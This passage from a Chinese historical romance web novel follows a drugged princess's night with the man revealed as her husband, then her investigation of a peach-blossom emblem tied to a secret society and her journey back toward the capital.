因意识昏昧，她记不起这一场景的因由，也认不出眼前这人，她只以为噩梦变作现实，因而一味推挡男子的胸膛，“放肆，不许碰我。”
只是她当下经脉虚浮，使不出半分内力。
因而，男子很快阻止她的双手，“郡主，是我，别怕。”
荣龄努力睁开眼，眼前之人的面容模糊一团。
“我不认识你。”她再次挣扎，却仍旧无果，“放开我。”
“不，你仔细听，你听，”那人耐心哄劝，“你认得出的，是我，阿木尔不怕。”
慢慢的，荣龄耳中汩汩涌入清越的嗓音。
“王序川？”不知是否错觉，昏暗的视野因她认出这道嗓音变得略为光亮，“你怎的在这里？你要做什么？”
那人未答，只问：“郡主可知那桃花香是何物？”他拨开荣龄的额发，用微冷的手为她帖凉额头。
荣龄虽直觉不妥，可那只手如寒玉一般暂时驱走高热迎回清明，她不想叫它离开，“是春香，如你那日中的一般？”她早在无尽的热意中想明。
王序川却道：“一样，也不一样。”
一会功夫，他的手心已叫荣龄的额头贴得滚烫，于是，他又翻过手背，“那日，我先嗅入桃花香烧出的烟气，又饮下混有茶花麻的黄山云雾，二者杂混，方起了效用。”
他再换另一只手，“可今日，郡主既饮了茶，又在茶花麻旁打斗许久。最不好的是，”他低低一叹，“郡主并非嗅了烟气，而是直接吸入桃花香粉末。如此一来，春香的药效便霸道百倍，绝非寻常草药可解。”
27. [锁] [此章节已锁]
荣龄强撑精神听他解释，可没一会，高热再次夺去意识。
恍惚中，她只觉那张模糊的面容如最沁凉的玉盘，若能抱着它，贴着它，她定会舒坦许多。
事实上，她也这样去做——
她将眼窝、面孔，将唇与颈一一贴上，她如藤蔓绕树，似鸯鸟交颈。
可身体叫嚣着不够，远远不够。
荣龄停下，茫然且无助，可她又不知要怎样才能得到更多。
很快，那人告知她答案。
荣龄唇上一湿，另一道唇吻住她。他耐心地含咬、吮吸，既攫取她的呼吸，也将热意撕开口子，使之随二人的意乱情迷泻出。
荣龄觉得舒服，于是攀上他的颈，吻得更深。
可她不得要领，慢慢吸不上气，待到微弱轻吟，那人松开她，低喘着笑道：“郡主要憋死自个，憋死臣吗？”他轻拍荣龄后心，“吸气。”
一时间，帐中布满急促的喘息。
荣龄失神地看向伏在上方的男人。
在这小小的方寸之地，二人的目光很快相接又交缠。
那人又吻下来，可这一次，他不再满足于唇齿的追逐，而是沿着下巴、细颈，一路往下。
他的吻至何处，何处的热意便有了出口，因而荣龄未曾阻止，只由他拂开衣领，到处作乱，直至——
那人的唇重又落到耳后，他下颌处刚冒头的胡茬触及此间软肉…
荣龄细细惊呼，又在下一瞬难忍地笑开，“不要！好痒…”
可那人难得寻见她的短处，他不但未停下，更用力地揿下下颌，叫粗硬的胡茬刺得更深，摩擦得更密。
荣龄再受不住，讨饶道：“王大人，我不要了，你停下！”
这一句“王大人”音量不大，却如一滴凉水落入油镬，“毕剥”溅了满墙。
其中一滴油水溅入荣龄的灵台。
王大人…
王序川…
等等，她与王序川！
荣龄的身子仍在渴求，心智却在一瞬间堕入冰窟。
冰火两重夹击中，她用尽最后一份力推开王序川，艰难道：“我虽心悦你，可我当先回大都，与张大人说分明后再与你相好，而非这般折辱他。”
一句话如最锋利的钢刀齐齐斩断二人间因缠绵而连结的藤蔓。恍惚间，荣龄似看到断落的残枝，亲见那狰狞的切口流下淋漓的血。
她又看推开王序川的那只手，口中忽地再次涌上血腥味。
谁知，今时的王序川未因荣龄字字句句的“张大人”而不忿。
与之相反，他甚至轻叹气，语中带有笑意道：“我本与郡主说，待此间事了，有话与你说。”他替荣龄掩起凌乱的中衣，“你可知，我要说的是何事？”
荣龄迎着那道缱绻至极的目光，心尖一颤，“何事？”
王序川俯下身，凑到她耳旁问：“郡主的脸盲还未好吗？今日仍未认出我？”
未待荣龄回答，他接着道：“郡主在信中说，‘军务在身，恐不能及时去信，勿念’，可我念得紧，等不及你处理完此间事宜，便赶着来见你。”他轻吻荣龄耳廓，“只是此番相遇，郡主怨我并不‘霁月清风’，反是个世间难得的‘厚颜无耻之徒’…”
他抬起头，再度与荣龄四目相对，“郡主可还欢喜我？”
语落，荣龄如遭雷击，一时动作不能，言语不能。
半晌，她抬手抚过眼前之人的眉、眼、鼻、唇，她虽知这样做很是徒劳——她不记得自个便宜夫婿的样貌，自然不能用这法子唤回对他的记忆。
可他方才说的正是她写给张大人的家信，这世上除了他二人，还有谁能知晓其中内容？
“你…”她哑了嗓子，“你是？”
他贴近，直至二人鼻峰相接，唇珠相触，“郡主，喊我的名字。”
“为何这样？”荣龄仍不敢信，“怎么会这样？”
唇上传来轻暖的湿意——是那人在一下又一下地啄吻她。
荣龄残余的不安与犹疑终于被这轻柔的爱抚抹去，她轻唤道：“张廷瑜…张大人。”
“是我。”张廷瑜应道，“郡主，是我。”<
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荣龄只觉自个要溺毙于他满眼的江南水意中。
她不住地想，难怪，难怪她总在王序川的身上瞥见张大人的影子。也难怪，她总毫无因由地自一人想起另一人。
她深藏人后的挣扎，苦埋梦中的遗憾终因这一日的真相消解于满怀冰雪中。
未几，张廷瑜垂下头，与她额首相贴，他低低问道：“郡主，臣愿自荐枕席，为郡主解了春香。郡主意下如何？”
还当如何？
二人已交叠一处，荣龄身上的热意又无其他法子能解，她还当如何，又能如何？
可惜那独孤氏千算万算，怎的也算不到荣龄名义上的夫婿、如今的心上人竟在身旁。
她一时气急，张口咬住张廷瑜的唇，直到咬出血，才又细细吸吮那道伤口。
于是，张廷瑜唇上的血与她自个口中的血相混一处，伴随她并不熟练的亲吻，融于二人口中。
体内的热意又开始翻涌，待意识被吞没前，荣龄松开唇，喘息道：“张廷瑜，你我歃血为盟。”
这实在称不上情话的盟誓惹出张廷瑜的笑。
可他没有纠正，只随荣龄道：“好，我们歃血为盟。”
屋外雪停风止，一片清疏寂寥。
可卧室之内、芙蓉帐中却如春至深处，只余满眼水媚花浓。
她从不知，一件事可以这样疼，又能这样快活。
她也不知，一贯温文的张廷瑜怎能有这样使不尽的力气，即便…即便他并不时时霁月清风，偶尔是个无耻之徒。
终于，荣龄发着抖，浑身湿透。
张廷瑜喘息着，他的汗落入荣龄眼中，吻印在眉梢的胭脂痣上。
恍惚间，荣龄听见他问：“郡主，这是不是梦？”
可她仍溺于身与心的极致欢愉中，她并未回答，只如本能一般不停地唤：“张廷瑜…张廷瑜…”
那人一遍又一遍，不厌其烦地回答：“我在，阿木尔，我在这里。”
在他的回应中，荣龄慢慢松开心神，她最后看他一眼，疲惫不堪地睡去。
28. 果报
次日醒来已是晌午。
荣龄甫一睁眼，便觉四肢百骸无处不疼。
她强忍着疼，一面挣扎坐起，一面回忆昨夜的自己究竟经历了何事。
脑海中细节明确的画面只截止到一个温柔至极的怀抱，那之后…
荣龄环顾四周——这里仍是赵暄的私宅，其间家具由光亮如鉴的大漆间以螺钿而制，所用的悬画、炕毡、椅搭、床帐，无不清洁素雅、落落大方。
等等，床帐…
荣龄将目光收回近处，一些昏暗帐中，满绣的百子图样随暗夜浮沉的画面如灵光乍现，忽地出现在脑海。
她一怔，又赶紧晃了晃头，欲将这些旖旎得恍若幻觉的画面赶出脑海。
可几息后，画面不仅没有消散，更添了缠绵的喘息响在耳畔…
荣龄用力一拍额头，想要中止回忆。
但下一刻，她又忍不住看向身旁空空荡荡，却显然有人睡过的锦枕…
犹豫半晌，她终于心一横，猛地揭开石青的被褥求证——自个身上的寝衣虽已被换好，但隐处明晃晃的疼提醒荣龄——昨晚的一切，并不是梦。
这时，屋外传来叩门声，是万文秀听见她起身的响动，“郡主，可醒了？”
荣龄心绪不明地想了好一会，回道：“进来吧。”
不知是她自个心虚，还是自小一起长大，如今仍云英未嫁的万文秀也有些害羞，荣龄总觉得二人之间浮动着淡淡的尴尬。
幸而有前来服侍的妈妈们抬来浴桶，人往人来的，这份不适消散许多。
待没入热水中，荣龄借热气蒸腾出的满脸红晕为遮掩，问道：“文秀，昨夜到底发生了何事？”
“郡…郡主，你不记得了？”万文秀结巴问道。
荣龄背对她，忍住害臊——她总要弄清，王…不，是张廷瑜，他如何去了观音山，又如何说服万文秀，来到她屋内。
“有些记得，有些忘了。”她含糊答道。
万文秀避开荣龄后背的伤口，替她擦洗。她起先仍有些吞吐，慢慢地又自如起来。只听她道——
“我等在山下，再见到郡主时，你已高热昏迷，由王…，不是不是，由张大人抱在怀中。回程时，我本想由我带着郡主骑快马而回，可张大人并不松手。当时，我不知他是张大人，还与他起了争执，觉得他这样有损郡主清誉…倒是二殿下，他许是知晓张大人的身份，因而不解我为何因此耽搁时间。”
她又取过一些澡豆面子，“但郡主身上实在不太好，我顾不上其他，只能尽快先回城里。也不知张大人是何时得知郡主中的春香，他与二殿下道，定要找个牢靠的，绝不会胡乱说话的大夫。二殿下便找来几代都为赵氏所用的郎中。”
“郎中一搭脉便问道：‘这位娘子可曾嫁娶，夫婿何在？’，那时屋里只我一人，我不解，但也回道：‘我们娘子的夫婿在大都。’郎中面露难色，只说不好。我又问他如何不好，郎中支支吾吾，说不明白。我一急，怕他欺负我是个外来的丫头因而不肯尽力，于是拉着他到外间找二殿下说理。”
万文秀停了停，又打起磕巴，“郎中隐晦地说了半晌，我终于…终于明白，为何要问郡主的夫婿。我那时…我以为，张大人尚在大都，于是便求二殿下快想个法子，叫他星夜赶来。二殿下却奇怪地看我一眼，道：‘荣龄的夫婿就在眼前，你慌张什么？’。我不明白。”
□□宗阙没再理她，只看向一旁的张廷瑜，道：“太子本是叫你来查我，不想错有错着，倒让你救了阿木尔。”
万文秀急中生乱，未听出荣宗阙的言外之意。但见张廷瑜起身要进屋，她猛地惊醒，横刀挡在门前，“王序川，你要做什么？”
荣宗阙格开她的刀，不耐烦问道：“你莫非不想救你们郡主？”
万文秀平日里沉静如闺秀，可事涉荣龄安危，她半分不让，也半分不管尊卑。
她怒道：“敢问二殿下，郡主金枝玉叶，怎可随意叫男子玷污？大都距保州不远，八百里加急一日便可将张大人请来！今日只要我万文秀在，绝不会叫无干的人进去。”
荣宗阙很是纳闷，“你口中的张大人究竟是谁，眼前的不正是荣龄的夫婿，我如何让她随意叫男子玷污了？”
万文秀一愣。
她费力消化这惊天的消息。
再过一会，她猛地转头，上上下下打量荣宗阙口中的“眼前人”。
“夫…夫婿？王序川怎会是郡主的夫婿？”万文秀脑中乱作一团，“与郡主叩拜天地君亲的明明是张廷瑜张大人…怎会是他？！”
这下轮到荣宗阙糊涂，他转头问那人：“我倒是没记清…你究竟是何姓氏？”
终于，引出这一通混乱的人看不过眼前的一番“鸡同鸭讲”，他想起荣龄屡次在家书中提起的名字，便问道：“你可是万文秀万千户？”得到肯定的回答后，他颔首道，“我既是王序川，也是张廷瑜。
见万文秀仍一脸防备，他继续解释：“镔铁局涉军需大案，大都命我暗中查访，故而未在此前表明身份。”
他取出袖中官印，“这官印做不得假，”他递给万文秀，印中有“刑部司郎中之印”七字，“万千户可查验一二。”
“我验了他的官印、牙牌，直到确信他真是张大人，才叫他进来。”万文秀终于说完前尘。
她忍不住感叹，“郡主，他竟真是张大人，郡主之前可知？”
荣龄摇了摇头，“这事说来连说书人都嫌巧了，我怎敢想？”
万文秀却高兴起来，“可郡主，这终归是好事。这一遭郡主不仅解了春香，更不用再烦忧劳什子的王大人与张大人。”她绕到前头，蹲在荣龄面前，“总归是一个人，郡主欢喜吗？”
荣龄的面孔又红起来，但她强撑着，冲万文秀泼去一掌水，“文秀，你瞎说！”
万文秀与她打起水仗，“才没有，郡主可是害羞了？”
荣龄更不敢回答，只手中泼得更为起劲。
一时间，净房内满是少女娇俏的笑。
玩闹半晌，荣龄喘息着停手。
她将半张面容掩在桶沿下，只露出一双水光潋滟的眼。她轻轻咬唇，问起醒来时便想问的，“那…那他呢？”
万文秀故意不答：“他是谁？二殿下吗？”
荣龄嗔道：“文秀！”
万文秀这才不闹她，“张大人一早出门了，说是去北直隶巡按御史冯保衙上。”
再过一会，荣龄也乘一抬青布小轿出门。
只是她未去探访那位冯御史，而是一路向西，又去了镔铁局。
途中，她半阖着眼，思忖道，如今独孤氏与高四娘已死，与花间司关联最为紧密的便只剩巴图林与秀儿。可他二人只在独孤氏手下做事，至于另三位花神是谁、在何处，花间司经此一役有何应对，怕是一概不知。
荣龄思来想去，只能再去莫闪居寻找线索。
因罪首已殁，京南卫的防卫松了许多。
荣龄没费什么口舌，便轻车熟路进入莫闪居。
不出意外，院中内室早叫人搜过，其间带字的文书都已收走。荣龄一面回忆独孤氏往日的习惯，一面仔细打量此间的每一处细节。
她先来到面南的正厅——独孤氏常在此会客。
厅房正中是一块牌匾，上书“碧血丹心”四字，其下置一只一臂高的铜鼎，鼎后是一尊镔铁铸的老子像。
她记得这尊老子像——
投筹会那日，独孤氏并巴图林、贺方、高四娘曾领镔铁局众人敬拜。
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>只是世事沧海桑田，那时何等光鲜的四人却在二月后或死、或囚…荣龄环顾四周，低低一叹。
厅中其余处布置得简单，只一张大案，地下两溜共八张交椅，墙上未挂书画，倒有贴墙的数张条案，上置镔铁局中锻制的各类兵器。
只是因京南卫搜查，各式家具、镔铁器零落在地，狼藉一片。
荣龄接着来到西厢，此处是独孤氏的书房。
这本是要重点查探的，可她只略略看过，便转头出了门——既然她想重点查探此处，荣宗阙自不例外，书房中不仅没留下任何纸页，便是书架隔板、乌木对联都被撬开，查了干净。
荣龄摇了摇头，最后来到西侧的跨院——独孤氏在此起居。
寝室内有卧榻一张，条柜、高几、滚脚凳各一，另有一架屏风倒在地上，上绘一整幅桃花灼灼。
她又细细敲过各处，未发现暗格与密室。
她慢慢走回正厅，在仅剩的一把完好的交椅中坐下。
水磨砖铺就的地面散落着破碎的木板与镔铁器。
她弯腰拾起一柄镔铁匕首，匕首蒙尘，再不是催金断玉的冰冷模样。
然而，当她用袖子擦去其上的灰尘，一刹那寒光闪过，她的一双眼映在如鉴的刃面——
那双眼，锐利，清明，神似她的父王，已故的南漳王荣信。
此时的天已昏下，往日里昼夜不息的镔铁局静默如一处弃地。
天地一片的寂静中，荣龄的心也静下，静得能叫她瞧见自个也不敢细想的心思。
许久，荣龄开口，像是问天上的荣信，又如自问：“父王，究竟是谁害了你？是独孤氏？花间司？还是…有更多的人？”
她落了一口气，“只是父王，你定也没有料到，你一力组建的镔铁局有一天会将刀锋刺向你，刺向大梁。”
她停了停，眼前不自觉地浮现独孤氏哀恸悲绝的模样，“都说昭昭之债，而冥冥之偿，父王，这算不算因缘果报？”
再过一会，她的话音更低，有些自嘲道：“既如此，那我的果报，会在哪里？”
一个个问题散落在北地凄寒的黄昏中。
没有人能够回答，包括荣龄自己。
不一会，门外吹起小风，像是又要下夜雪。
荣龄出来久了，身上的伤又开始疼。她起身，再看一眼手中的匕首，准备离去。
只是那一瞬，门外残余的天光由刃面反射，恰好落在匾下的老子像上。
荣龄顺光看去，随后目光一顿。
老子像位于高处，又常年得人供奉隐在香烟之后，她还真没有留意其确切的造型。
她见过老子像一手指天，一手指地，也见过一手执拂尘，一手持太极图，又有骑青牛，双手执礼的，但她从未见过双手执桃花枝的老子像。
荣龄仔细抚过整尊塑像，却发现除去这一造型的新奇，并无其余不妥。
是她想多了吗？
回程路上，荣龄仍不住地想起老子像手中的桃花枝。她在脑海中翻过种种典故、件件传奇，却始终毫无头绪。
这时，小轿走到一处街口，轿夫隔着帘问：“郡主娘娘，前头封了路，瞧着像在办差，咱们换条路？”
这一问话打断荣龄翻腾的思绪，她一时接续不上。
几息后，荣龄揉了揉有些酸疼的额角，无奈应道：“无事，便换条路吧。”
一炷香后，青布小轿回到别院。
伴随轿厢稳稳落地，荣龄也收好心神，欲回屋安歇。
谁知方一掀帘，她的视野中出现一道同样晚归的绯红身影。
整个下午都有些低沉的情绪兀自一颤。
荣龄认出那人。
她捏紧轿帘，一时竟不敢抬头看去。
29. 桃花神
荣龄弯腰出轿，一柄伞为她隔开簌簌落下的雪粒子。
“郡主身上的伤还未好，不该出门的。”持伞那人不赞成道。
这话本没什么。
□□龄一想到，自个身上的伤不仅有高四娘害的，更有…
更有与他相关的。
她的面上便不由自主地浮出薄薄的红。
荣龄斜睨他一眼。
这一睨叫二人的目光交汇片刻。
少顷，张廷瑜读懂了其中的意思。
他惯来冷静自持，这会也难得神情窘迫，手足都无措起来。
“那要不，先回…回屋吧。”他避开视线，局促道。
于是，两人并行在长长的游廊，谁都不再说话。
天色完全暗下来，只游廊中高挂的灯笼投下朦胧的光。
那光携带昏黄的暖意，为地上的两道影勾勒出温情。
荣龄本一颗心紧悬着。
可她甫一转头，便见张廷瑜如提线木偶一般，在游廊中还楞楞地撑伞，半点不复“才华秀拔春兰馥”的探花郎风范。
她忽地一笑，说了句“呆子”。
张廷瑜不解地看来。
须臾，他醒过神。
“哦…”他匆忙收起伞。
□□龄还在笑，艳丽的胭脂痣跃在眉梢，如一朵傲雪而放的梅。
张廷瑜不禁也露出笑意，讨饶道：“郡主…”
这一笑中，二人之间的尴尬淡下许多。
再过一会，荣龄问道：“张大人今日忙些什么？”
她可记得，她醒来时这人便没了影。
文秀说，他去找了冯保，那是为何事？
闻言，张廷瑜停下脚步。
他看着荣龄，认真解释道：“郡主已知，我来保州凭的是枢密院检祥的身份。但我既为刑部司郎中，出大都也须有正当的理由。”
荣龄颔首，这是自然。
他接着道：“今日我本不该走开。只是冯御史遣人来报，说是我本该查的一桩同知贪墨案有了眉目，叫我定要去瞧瞧。我这才去了。”
荣龄强迫自己忽略那句“今日我本不该走开”。
她的心又有些乱了。
只是怕气氛又变得古怪，荣龄并不敢停下，接着问道：“那可顺利，可结案了？”
“此事倒了结了，不过…”张廷瑜另想起一事。
他将伞搁在美人靠上，自袖中取出一个无款无识的信封。
荣龄接过，“这是谁的信？”她问道。
张廷瑜站过一些，替她挡去飞入廊中的乱雪。
“我曾在京南卫手中救下一个更夫——当时，他与贺方换了衣裳，又叫人错认作贺方抓起来。方才回来的路上，他拦下我，说是自贺方衣裳的夹层找到一封信，他怕事关紧要，赶紧送来。”
自贺方衣裳的夹层找到的？
荣龄神色一正。
她取出信封中的一页残纸，那残纸似被烧过，只余下一角，其上字迹模糊。
荣龄凑近细瞧，“三月十…”最后一字叫火燎去一半，她自剩余的一横一竖推测，“十七？”
张廷瑜颔首，“确是三月十七，只是不知是哪一年的三月十七，又要在三月十七做何事。”
荣龄与他对视一眼，二人虽对这没头没脑的“三月十七”全无了解，可他们眼中俱浮现出不算太好的沉思。
荣龄再走过一些，欲借灯笼的亮光看得更仔细。
这时，她在焦黄的残迹中看到一枚徽记。
那徽记由五个部分组成，每个部分边缘光滑，顶端有小齿…
那是…
荣龄在纸上临摹它，指尖划过的痕迹组成一朵…
一朵桃花，一朵盛开的桃花。
她指尖一停，在脑海中快速翻过记忆。
桃花香、桃花隔屏、老子像手执的桃花枝以及这枚桃花徽记…
竟都是桃花？
“世上会有这般巧的事？…”荣龄自语问道，“可为何都是桃花？”
“郡主说的什么？”张廷瑜听她低语，不解问道，“为何说起桃花？”
荣龄却沉浸在自个的思绪中，并未答他。
忽然，她眼中一亮，“我知道了，”她道，“我知道了，独孤氏是…”
下一瞬，她猛地意识到身边的张廷瑜，剩余的话断在嘴边。
可她在心中补足道，我知道了，独孤氏身为四大花神，桃花是她的徽记。既如此，其余三位花神当也如此，只是他们选用的是何种花，是榴花？莲花？又或是菊花、梅花？
她忽地又记起，不论是炊家子，又或是巴图林都未告诉她四大花神与某种花卉之间的关联。
他二人是忘了说，还是有意隐瞒？
又或者，是因这一联系与四大花神的身份密切相关，故而他们不敢透露？
荣龄想不通。
“郡主究竟想起了何事？”张廷瑜再次问道。
“是有些事。”荣龄想了想，承认道。
张廷瑜看着她的眼，平静猜测：“但尚且不能告诉我？”
荣龄迎着他坦然的目光，在心中低低一叹。
二人担着夫妻的名，如今也有了夫妻的情与实，可说到底，他们的相知并不深。是故，荣龄不敢在此时坦诚相告。
只不过，她也不想骗他，于是颔首，“是不能。”
张廷瑜未再执着，只是问：“那可有我能帮上忙的？”
荣龄略一想，还真有。
“不若张大人陪我再出门一趟？我有事要问贺方与巴图林。”她道。
闻言，张廷瑜却摇了摇头，“此事我许是帮不了郡主。”
见荣龄疑惑看来，他道：“一炷香前，我见京南卫押了几具尸首前往义庄，其中便有贺方与巴图林。”
尸…尸首？
而一炷香前…正是她回程遇上封路的时刻。
所以在那时，她关于花间司的问题便已无人能回答。
而她更不知道的是，在更早些时候，贺方曾高喊着，“我要见郡主娘娘，我还有从那老寡妇的炭盆中藏下的一纸残信…只是我糊涂了，将衣裳给了一个老匹夫…求郡主娘娘开恩，我与她当真不是一路！”
只是一杯鸩酒灌下，再多的隐秘与不甘都埋于时间的烟尘。
荣龄才因张廷瑜涨起的心情又重重落下，她的指尖陷入掌心，喉头滚了几道才问道：“其中有春芳吗？”
张廷瑜回忆道：“应当没有，里头只一位女子，我若没记错，她唤作秀儿。”
“秀儿也死了。”荣龄沉沉呼出一口气。
如此说来，她刚发现的线索全又断了。
这时，一阵喧嚣打破此间静谧。
荣龄往前院的方向看去——
油炬照出的火光中，一道阴冷的身影正往这边行来。
她冷冷一笑，心道来得正好，她还未去堵人，荣宗阙倒自个送上门来了。
荣宗阙头戴银龙五珠冠，身着银色薄甲，如冰天雪地中一柄寒气逼人的剑。
“我听闻你今日又去了镔铁局？”他停下脚步，冷冷道，“想来，你是大好了。”
荣龄不明白他的意图，因而只简短回答：“承蒙二殿下挂
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心。”
“如此便好，”荣宗阙上下打量，确认她一切都无恙，这才道：“明日我便回大都了，今夜找你，是与你…”他一停，再看一眼一旁的张廷瑜，“还有你，与你二人确认回大都后的说辞。”
荣龄与张廷瑜对视一眼，二人的眼中都写着防备。
“你想如何说？”她问道。
荣宗阙负手而立，遥看廊外飞雪。
他有着荣家人如出一辙的高挺的鼻，也有着一样深邃的眼。
停了好一会，他才道：“阿木尔，我知你昨日去见独孤氏与高四娘，绝不只为上罗计长官司的防卫。不然，她二人不至于拼了命也要杀你。”他的语气很平静，“但我不问你究竟是为何。同样的，你也不要再深究镔铁局背后的事。”
他转过身，一双眼隐在背光处，莹莹如夜行的孤狼。
那一刻，荣龄好像读懂了他的目光。
那目光中，有警告，有请求，有身在局中的无奈，更有物是人非的悲悯。
荣龄在那道目光中想起遥远的过往——那时的二人只知习武，最大的烦恼也只是如何说服对方，叫他/她承认自个父王或是舅舅才是“大梁第一名将”。
可惜，那样不知愁的日子一去不回。
荣龄望着他，心中不住地想问，荣宗阙，你在这件事中究竟扮演着怎样的角色？我父王的死，与你可有干系？
可她到底没有开口。
“至于太子…”荣宗阙移开目光，再看向张廷瑜，“我已补上锦州军与江南水军的镔铁刀。至于他私自来查镔铁局、他与南漳三卫暗中合作之事，我都不再追究。你与他说，若他仍要与我在此事上缠斗，只会都是输家。”
张廷瑜拱手，“二殿下的话，我定带给太子殿下。”
说完这些，荣宗阙便要离去。
廊外的飞雪又变大了，他再看一眼荣龄，斟酌道：“北地天寒，你的身子便是好了也需经心，”又想了想，“回大都的路上，回了大都后…都别逞强。”
说完，不等荣龄回答，他身影一转，自来时的路离开。
京南卫手中的油炬渐渐远去，游廊中又静下来，只一旁的柏树发出积雪过重而压断枝干的脆响。
荣龄也学荣宗阙，看向廊外的飞雪。
她伸手去接，几片雪花落在掌心，很快叫体温融化。
而更多的雪落在瓦上、落在经冬未凋谢的岁寒三友上，落在伞面、落在衣襟…它们有一样的来路，却各有归处。
她想，他们就如这漫天大雪，明明一起长大，却在世事的裹挟中变得各有立场，因而也秉信各自的对错。
许久——
“张大人…”
“郡主…”
二人几乎同时开口。
张廷瑜眼神沉静，示意荣龄先说。
荣龄想了想，问道：“张大人，会不会有一天，你我也站在对立的两面，互相攻讦、敌对？”
张廷瑜没有立刻回答，他走近一步，拉起荣龄冰凉的手。
他牵着那只手，慢慢落到自个的唇——那里有一处伤口，正拜昨夜的荣龄所赐。
“我想不会的，”他的语气平和，可话中却有承诺的意思，“郡主不是说过，你我歃血为盟。”
荣龄本想说，张大人是否答应得太过轻易，若知晓她真正的目的，若他二人历经世事的变迁，到那时，他是否还会义无反顾地站在她这一边？
可在张廷瑜认真到能觉出几分情深的目光中，荣龄再问不出。
她感受到一丝淡淡的释然，“是啊，我们已歃血为盟。”她笑了笑，说道。
30. 心疼
保州距大都约四百里。若驰快马而回，一日便能到达。
可张廷瑜夺了荣龄的骑马之权。
“郡主接连受伤，至今不曾好好将养。大都又无急事待你回去定夺，怎的非要颠簸一日？”这是一脸不赞同的张廷瑜。
万文秀在一旁帮腔，“何止？五莲峰上医官施针刺穴、强行唤醒郡主时，曾叮嘱此举大伤元气，定要静心凝神养上三月。郡主可有一日做到了？”
张廷瑜不曾听闻这一内情，他细细问清，随后不再与荣龄相商，而是一把扯了她坐上温暖香软的马车。
马车碌碌驶出，车辙不断延伸，保州远去为一粒小而模糊的黑影。
一路上，张廷瑜只闷在一旁看公文，并不理她。
荣龄叫他用厚毯子团团围了一圈，正热得冒汗。见他冷着脸不说话，便故意唤道：“热，热得伤口痒痒。”
张廷瑜觑她一眼，权衡她话里几分真、几分假。
荣龄又故意难受地哼哼几记，“张衡臣，张廷瑜！我热！”
终于，张廷瑜起身，稍稍松开她身上的毯子。
荣龄看他近在咫尺的一张脸，“唉，行军在外，哪有不受伤的？”她半是解释，半是服软。
闻言，张廷瑜停下手，他重又围起那张毯子，甚至团得更紧、更厚实。“我瞧郡主是不够热。”
荣龄没料到他的气性这般大，便好奇地抬眼看他，“我那封信果真没写错，张大人才不是霁月清风的好人。”
张廷瑜索性不再走开，他一把坐到荣龄身旁，“是，当年郡主识人不清，误嫁了我这卑鄙无耻之徒。”
说到这，荣龄更好奇，“那封信怎的到了你手中？我明明不曾寄出。”
说的正是“王序川”表明心意后，她半夜难眠、写给张廷瑜的吐槽“王序川”是无耻之徒的家信。
张廷瑜拿过公文，一面守着她，一面眼神凝在纸页上，“郡主是不曾寄给张廷瑜，只是夹在其他信里，寄给了‘王序川’。”
荣龄恍然。
那日，她确同时写了另一封信送与“王序川”。当是那时的自己心烦意乱，装错了信封。
荣龄瞪着一双杏眼，不住感慨，“竟就…就这般巧？”
“是啊，故而…”张廷瑜故意一停。
“故而什么？”荣龄问道。
张廷瑜转头看她，“故而静坐常思几过，闲谈莫论人非，若论人非，必会叫人知晓。眼下回大都尚要几日，郡主总归是要静坐一路了，不若趁此思一思‘几过’？”
荣龄在厚毯子中一挣，“我哪有过错？”
张廷瑜一拍她胳膊，示意她躺好，“郡主乃一军主帅，一言一行都关乎成败。可郡主数次孤身犯险，强立于危墙之下。此乃一错。”
“二则，既已受伤，却不遵医官叮嘱，不拿自个身子当回事。便说这保州，缁衣卫中能人辈出，非要郡主亲自来吗？”
荣龄自然不能告诉他自个其实惜命得很，此番接连犯下一错二错，实因花间司事关南漳王之死，她太想知道真相，因而信不过任何人。
“我若不亲自来，‘王序川’又怎能遇见我，日日吃张廷瑜的飞醋？”荣龄岔开话题，故意道，“也不知那张衡臣是否也瞧‘王序川’不顺眼，不然，他为何几月都不通报真名？”
这一通王序川、张廷瑜、张衡臣地绕下来，荣龄没把自个绕晕，倒将身旁的正主逗笑。
“是，既有‘王序川’吃张廷瑜的飞醋，也有张衡臣锦书难托，叫个臭小子截胡的不堪。”
荣龄想得深了些，以为他当真不满自个不知他是张廷瑜时，却依旧动了心，“你当真在意这个？”她挣扎着起身问道。
张廷瑜扶住她，叫她不至于在马车的摇晃中落下榻去，“甫一开始有，”他坦诚道，“但又想，郡主与我的婚事来的猝然，你我将将见了…见了几面，我怎能强求郡主便非我不可？”
他又得意道：“更何况，郡主在不知我是张廷瑜时，仍叫我迷住了，可知不论是三年前的天时、地利，又或是如今的人和，俱齐齐整整站在我这头。”
荣龄叫他那句“迷住了”惊得一呛，“张大人可真是…”她叹道，“可真是厚颜无耻啊。”
张廷瑜一笑，又扶她在榻上躺好。“承让承让，我也不知，郡主常年冷面竟是因为脸盲不认人，私下原来这般活泼。”
荣龄说不过他，只好盯着马车精巧繁复的顶棚出了会神。
出着出着，她的眼皮慢慢阖下，竟觉得困倦异常。
不知是马车晃晃悠悠如儿时的摇篮因而分外好睡，或是身旁的人闲静舒泰叫人倍觉心安，荣龄醒来时，马车内光线已昏。
她竟睡了整整一天。
见她醒来，身旁之人问道：“可要用些水？”
荣龄转头望去，哑着嗓子答：“要，要温温的，但凉凉的水。”
张廷瑜提壶的手一停，“到底是温水，还是凉水？”
荣龄望着他，再次重复，“温温的，但凉凉的水。”
张廷瑜略一想，掺好水端来。
荣龄端过，入手时那杯壁确是温的，可再入口，便只剩一股沁凉。她喜道：正是这样！”
这时，马车外渐渐有了晚市的热闹。
张廷瑜掀开车帘，看了眼黄昏中的街道，“已至涿州了，咱们今夜便宿在涿州驿站。”
“涿州…”荣龄也随之望向车外，“过了涿州，便真的出保州了。”
张廷瑜见她有些许怅然，他想了想，问道：“郡主可还在忧心镔铁局的娘子们？”
荣龄想了想，叹道：“我虽叫荣宗阙保证，不可辞退姐姐嫂嫂们。可镔铁局的主事若换作寻常男子，必定不会如独孤氏那般替她们谋划。”她道，“于公，独孤氏是大梁的仇敌，与私，她却是那群苦命女子的救星。”
张廷瑜劝道：“郡主已做了自个能做的，便是如春芳一般，也给足了银两遣其归家。人人自有缘法，郡主不必强求。”
话是这样说，□□龄心中隐隐仍有愧疚。
她想，她或许永远做不到如建平帝、如父王那般坚定与果决。
说话间，马车驶入驿站。
万文秀已递过腰牌，驿站上下俱在正门外迎接。“恭迎郡主尊驾。”
荣龄虽不喜排场，但涿州已至大都外围，这些繁文缛节即便是她也不得不忍受。
“免礼。文秀，赏。”
驿站站户引荣龄入内，“郡主请瞧，这是咱们涿州最好的一间上房。那枕、衾、褥、毯都用的头蚕的湖丝，案、榻、床、椅由白塔木匠用长了数百年的紫檀木雕刻。小人还专门请来涿州手艺最好的厨头，为郡主与张大人做些地
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道的乡野味。”
